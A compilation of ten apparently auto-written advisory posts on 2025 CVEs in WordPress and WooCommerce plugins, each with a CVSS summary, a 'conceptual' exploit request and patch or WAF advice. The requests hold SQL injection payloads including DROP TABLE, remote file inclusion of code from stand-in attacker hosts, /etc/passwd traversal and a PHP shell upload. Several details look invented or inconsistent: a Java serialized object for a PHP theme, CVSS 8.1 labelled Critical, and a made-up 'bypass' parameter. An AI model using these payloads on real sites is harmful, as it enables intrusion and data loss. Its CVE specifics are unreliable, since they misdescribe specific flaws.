Author: Ameeba

Overview

The vulnerability CVE-2025-47608 is a severe SQL Injection flaw found in sonalsinha21’s Recover abandoned cart for WooCommerce. It affects versions up to 2.5 of the software. This vulnerability has the potential to compromise the integrity, confidentiality, and availability of data in the affected system, a significant concern for any organization that depends on WooCommerce for their e-commerce operations. As the SQL Injection vulnerability allows a malicious actor to manipulate SQL queries, it poses a significant risk to the data that could be accessed or altered by exploiting it.

Vulnerability Summary

CVE ID: CVE-2025-47608
Severity: High – CVSS Score of 9.3
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

sonalsinha21 Recover abandoned cart for WooCommerce | Up to version 2.5

How the Exploit Works

The flaw resides in the improper neutralization of special elements used in an SQL command in sonalsinha21’s Recover abandoned cart for WooCommerce. It can be exploited by an attacker by injecting malicious SQL code into the application, which then gets executed in the database. This might allow the attacker to view, modify, or delete data, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited:

POST /woocommerce/recover-cart HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
cart_id=1; DROP TABLE users--

In this example, the attacker sends a POST request with a malicious payload (“cart_id=1; DROP TABLE users–“). The “DROP TABLE users–” command could result in the deletion of the ‘users’ table from the database, causing a significant impact on the system.

Recommendations for Mitigation

To mitigate this vulnerability, it is recommended to immediately apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can detect and prevent SQL Injection attacks by identifying and blocking malicious payloads. Additionally, regular security audits and code reviews can help in detecting such vulnerabilities early, reducing the potential impact on the system and the data it holds.

Overview

The CVE-2025-28992 vulnerability is a significant security flaw that affects users of snstheme’s SNS Anton PHP program. It is identified as an Improper Control of Filename for Include/Require Statement in PHP Program vulnerability, often referred to as a PHP Remote File Inclusion (RFI) vulnerability. This vulnerability is considered severe due to its potential to allow unauthorized remote access, which can lead to potential system compromise and data leakage.
Being a PHP-related vulnerability, it impacts a wide range of systems and applications that use PHP, a popular server-side scripting language. The seriousness of this vulnerability is underlined by its CVSS Severity Score of 8.1, indicating a high level of risk.

Vulnerability Summary

CVE ID: CVE-2025-28992
Severity: High 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

SNS Anton PHP Program | n/a through 4.1

How the Exploit Works

The exploit works by taking advantage of the PHP program’s improper control of filename for include/require statement. An attacker can manipulate the filename that the PHP include/require statement is intended to use, resulting in the inclusion (execution) of a remote file hosted on an attacker-controlled system.
This file can contain malicious code designed to compromise the server, such as code to create a backdoor, extract sensitive data, or otherwise manipulate the system in a way that benefits the attacker. As the PHP program runs on the server side, the vulnerability could potentially lead to a full system compromise.

Conceptual Example Code

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable-website.com

In this conceptual example, an attacker sends a GET request to the vulnerable index.php file, appending a parameter `file` with a value pointing to a malicious PHP file hosted on their own server (`attacker.com`). If the server is vulnerable, it will include and execute the malicious PHP file, running the attacker’s code on the server.

Recommendations

It is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against this exploit.
Additionally, it is generally good practice to avoid using user-supplied input directly in include/require statements in PHP without proper validation and sanitization. This can help prevent such vulnerabilities from arising in the first place.

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently published a critical vulnerability designated as CVE-2025-28945. This vulnerability specifically affects ‘Valen – Sport, Fashion WooCommerce WordPress Theme’ and potentially exposes systems to unauthorized access or data leakage. As the theme is widely used in various online stores, the potential impact of this vulnerability is considerable. A failure to address this vulnerability could result in substantial damage to both the security and reputation of businesses worldwide.

Vulnerability Summary

CVE ID: CVE-2025-28945
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Valen – Sport, Fashion WooCommerce WordPress Theme | Up to version 2.4

How the Exploit Works

The vulnerability occurs due to improper control of filename for include/require statement in PHP Program, known as ‘PHP Remote File Inclusion.’ This allows an attacker to include a remote file, usually through a script on the web server, which can execute arbitrary code. The attacker can thus gain unauthorized access to the system and potentially compromise data.

Conceptual Example Code

An example of how this vulnerability may be exploited is presented below. This is a conceptual representation and should not be used for malicious activities.

GET /index.php?page=http://maliciouswebsite.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com
Accept: */*

In this example, the attacker is exploiting the vulnerability by including a malicious file (`malicious_file.txt`) from a remote server (`maliciouswebsite.com`).

Mitigation Guidance

Users of the affected theme versions are urged to apply the vendor-provided patch as soon as possible. In case the patch is not immediately available or applicable, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. However, these are not long-term solutions, and patching the vulnerability remains the most effective way of addressing CVE-2025-28945. Always ensure that your systems are up-to-date and that you practice good cybersecurity hygiene to prevent such vulnerabilities from being exploited.

Overview

This blog post provides an in-depth technical analysis of a significant vulnerability identified with the identifier CVE-2025-31920. This flaw affects the WP Guppy application developed by AmentoTech. The issue lies in the improper neutralization of specific elements utilized in an SQL command, creating a potential for an SQL Injection attack.
This vulnerability is critical as it can lead to a potential system compromise or data leakage, drastically affecting the security of the data and integrity of the affected system. Any organization or individual using WP Guppy versions up to 4.3.3 should consider this vulnerability seriously due to its high severity.

Vulnerability Summary

CVE ID: CVE-2025-31920
Severity: High (8.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

AmentoTech WP Guppy | up to 4.3.3

How the Exploit Works

The vulnerability arises from the application’s failure to properly sanitize user-supplied input before incorporating it into an SQL query. An attacker could manipulate this flaw by providing a specially crafted input, which, when processed by the application, would distort the structure of the SQL query. This distortion can lead to unauthorized read or write access to the database, potential system compromise, or data leakage.

Conceptual Example Code

Here is a
conceptual
example of how this SQL Injection vulnerability might be exploited. This pseudocode represents a malicious HTTP request sent to a vulnerable endpoint:

POST /wp-guppy/vulnerable-endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1

In this example, the input `’ OR ‘1’=’1` can manipulate the SQL query to authenticate the attacker as an admin without knowing the actual password.

Mitigation Measures

AmentoTech has released a patch to address this vulnerability, and users are strongly encouraged to update their WP Guppy application to the latest version. As a temporary mitigation measure, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent SQL Injection attacks.

Overview

The CVE-2025-31424 vulnerability is a significant security threat that affects users of the WP Lead Capturing Pages plugin by Kamleshyadav. This vulnerability stems from an improper neutralization of special elements used in an SQL command, which is more commonly known as an SQL Injection vulnerability. SQL injection attacks can have severe implications, as they provide attackers with the potential to compromise systems and leak sensitive data. Given the popularity of WordPress and its vast user base, this vulnerability has a broad reach which elevates its significance in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-31424
Severity: Critical (9.3 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

WP Lead Capturing Pages | Up to 2.3

How the Exploit Works

The vulnerability arises due to insufficient sanitization of user input in the WP Lead Capturing Pages plugin. An attacker could exploit this vulnerability by sending a specially crafted request that includes malicious SQL commands. As a result, the attacker could manipulate SQL queries, leading to information disclosure, alteration, or deletion of data in the database, or even gain unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look like:

POST /wp-lead-capturing-pages/submit HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=' OR '1'='1

In this example, the attacker is attempting to log in using the ‘admin’ username and a password that will always evaluate to true due to the SQL injection (‘ OR ‘1’=’1). This could potentially allow the attacker to bypass the login mechanism and gain unauthorized access.

Mitigation Guidance

To mitigate the impact of this vulnerability, users are advised to apply the vendor-provided patch as soon as it becomes available. As a temporary measure, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software, as well as implementing robust input validation and sanitization measures, are critical steps in minimizing the risk of such vulnerabilities.

Overview

The vulnerability identified as CVE-2025-31429 poses a significant cybersecurity threat to users of the PressGrid – Frontend Publish Reaction & Multimedia Theme. This vulnerability, specifically a Deserialization of Untrusted Data vulnerability, enables an attacker to inject harmful objects into the system. This is a serious concern because it allows unauthorized individuals to potentially compromise the system or lead to data leakage. In the world of cybersecurity, such vulnerabilities are critical due to their high potential for exploitation.

Vulnerability Summary

CVE ID: CVE-2025-31429
Severity: Critical (9.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

PressGrid – Frontend Publish Reaction & Multimedia Theme | Up to 1.3.1

How the Exploit Works

The vulnerability lies in the process of deserialization, which is the reverse of serialization – the process of converting an object into a format that can be stored or transmitted and then reconstructed later. In this case, the PressGrid theme doesn’t correctly validate or sanitize the serialized data when it’s being deserialized. This allows an attacker with network access to inject malicious serialized data, which, when deserialized, can lead to the execution of malicious code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit the vulnerability using a malicious serialized object in an HTTP POST request:

POST /target_endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "serialized_object": "rO0ABXNyABdqYXZhLnV0aWwuaGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeHIAA2JhZC5jbGFzc3g=" }

In this example, the `serialized_object` is a base64 encoded serialized Java object that contains malicious code. When this data is deserialized by the vulnerable application, the malicious code is executed.

Mitigation

Users of the PressGrid – Frontend Publish Reaction & Multimedia Theme should apply the patch provided by the vendor as soon as possible. If a patch cannot be applied immediately, users are encouraged to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation strategy against potential exploits. Regular software updates and patching remain the most effective defense against such vulnerabilities.

Overview

In this blog post, we will be discussing a critical vulnerability, CVE-2025-32291, that impacts the popular affiliate marketing tool, FantasticPlugins SUMO Affiliates Pro. This vulnerability, with a CVSS severity score of 10.0, poses a serious threat to businesses using this software due to its potential for system compromise or data leakage. Such unrestricted upload of file with dangerous type vulnerability could be exploited by attackers to upload malicious files, thereby compromising the integrity, availability, and confidentiality of the affected systems.

Vulnerability Summary

CVE ID: CVE-2025-32291
Severity: Critical (CVSS score 10.0)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FantasticPlugins SUMO Affiliates Pro | Up to version 10.7.0

How the Exploit Works

The vulnerability arises due to the software’s failure to properly validate the types of files uploaded by users. An attacker can exploit this by uploading a malicious file containing executable code. Once the file is uploaded and executed on the server, it can lead to a full compromise of the system.

Conceptual Example Code

The following example demonstrates a conceptual exploit of this vulnerability. This is a HTTP POST request that uploads a malicious file to the vulnerable endpoint.

POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.php"
Content-Type: application/x-php
[INSERT MALICIOUS PHP CODE HERE]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Please note that the above is a conceptual example and the actual exploit may modify the filename, content type, and malicious payload depending on the specific circumstances of the target system.

Mitigation Guidance

The vendor has released a patch to address this vulnerability, and users are strongly advised to update to the latest version of SUMO Affiliates Pro. As a temporary mitigation, users can also employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to block attempts to exploit this vulnerability.

Overview

The CVE-2025-28944 vulnerability is a significant security issue impacting the PHP-based snstheme Avaz. This vulnerability, known as PHP Remote File Inclusion, allows an attacker to include local files from the server through improper control of filename for include/require statement in the PHP program. This vulnerability affects many businesses and individuals who utilize snstheme Avaz, potentially leading to system compromise or data leakage. With a CVSS Severity Score of 8.1, it’s a high-risk vulnerability that requires immediate attention to prevent potential exploitation.

Vulnerability Summary

CVE ID: CVE-2025-28944
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

snstheme Avaz | n/a through 2.8

How the Exploit Works

PHP Remote File Inclusion (RFI) vulnerabilities occur when a PHP application doesn’t properly validate user input for file inclusion requests. In the case of CVE-2025-28944, the affected snstheme Avaz doesn’t adequately control filenames for include/require statements, allowing an attacker to manipulate the input and include arbitrary local files from the server. This can lead to the execution of malicious server-side scripts and potentially lead to a system compromise or significant data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this example, an attacker sends a malicious HTTP POST request to a vulnerable endpoint:

POST /vulnerable_endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include_file=../../etc/passwd

In this request, the attacker is attempting to include the “/etc/passwd” file, a common target in Unix-like systems as it contains user account information. If the vulnerable PHP script doesn’t correctly validate the “include_file” parameter, the server will respond with the contents of the “/etc/passwd” file, giving the attacker potentially valuable information to further exploit the system.

Mitigation and Prevention

The most effective way to mitigate this vulnerability is to apply patches provided by the vendor. If a patch is not available, a workaround would be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor the network for any suspicious activities. Also, ensure that all user inputs are correctly validated and sanitized before using them in file include or require statements to prevent potential PHP RFI vulnerabilities.

Overview

The cybersecurity world has recently been shaken by the discovery of a significant vulnerability, designated as CVE-2025-28888. This vulnerability affects BZOTheme GiftXtore, a widespread ecommerce solution. The flaw resides in the improper control of filename for Include/Require Statement in PHP Program, which could allow an attacker to include local files through PHP Remote File Inclusion. This could potentially lead to a system compromise or data leakage, which could be devastating for any online business. This blog post will analyze and dissect this vulnerability, providing helpful mitigation advice for those affected.

Vulnerability Summary

CVE ID: CVE-2025-28888
Severity: Critical (CVSS score of 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme GiftXtore | Up to and including 1.7.4

How the Exploit Works

An attacker exploiting this vulnerability would take advantage of the improper control of filename for Include/Require Statement in GiftXtore’s PHP program. By injecting a malicious file path into the PHP include/require statement, the attacker could trigger remote file inclusion, which would allow them to execute arbitrary code on the server running the vulnerable application. This could lead to a full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The malicious payload would include a path to a remote file that contains arbitrary code, which would be executed when the PHP include/require statement is processed.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_path": "http://malicious.example.com/evil-script.php" }

Recommendations for Mitigation

It is highly recommended that users of GiftXtore apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If for any reason the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability.
Please ensure to follow up on this issue and apply the necessary updates to keep your systems secure.

Overview

The vulnerability we’re dissecting today, CVE-2025-31019, is an authentication bypass vulnerability that affects the miniOrange Password Policy Manager (PPM) through version 2.0.4. This flaw allows an attacker to bypass the authentication process, leading to potential system compromise or data leakage. Given the severity of the potential impact, it’s crucial for businesses using the affected software to understand the threat and take immediate action to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-31019
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Authentication Abuse leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

miniOrange Password Policy Manager | Up to and including 2.0.4

How the Exploit Works

This vulnerability, CVE-2025-31019, exploits an alternate path or channel in miniOrange Password Policy Manager’s authentication process. Attackers can abuse this flaw to bypass the usual authentication checks, gaining unauthorized access to the system. This could potentially lead to a system compromise or data leakage, which can have significant implications for an organization’s cybersecurity.

Conceptual Example Code

Below is a conceptual example demonstrating how the vulnerability might be exploited. In this case, the malicious user sends a specially crafted request to the vulnerable endpoint, tricking the server into thinking they are authenticated:

POST /auth/alternate-path HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "username": "attacker", "password": "irrelevant", "bypass": "true" }

In this example, the “bypass” parameter is the key to the exploit. The server does not properly check this parameter, leading to an authentication bypass if it is set to true, regardless of the provided username or password.

Mitigation

The best way to mitigate this vulnerability is by applying the vendor-provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These tools can help detect and block attempts to exploit this vulnerability, protecting the system while a more permanent solution is put in place.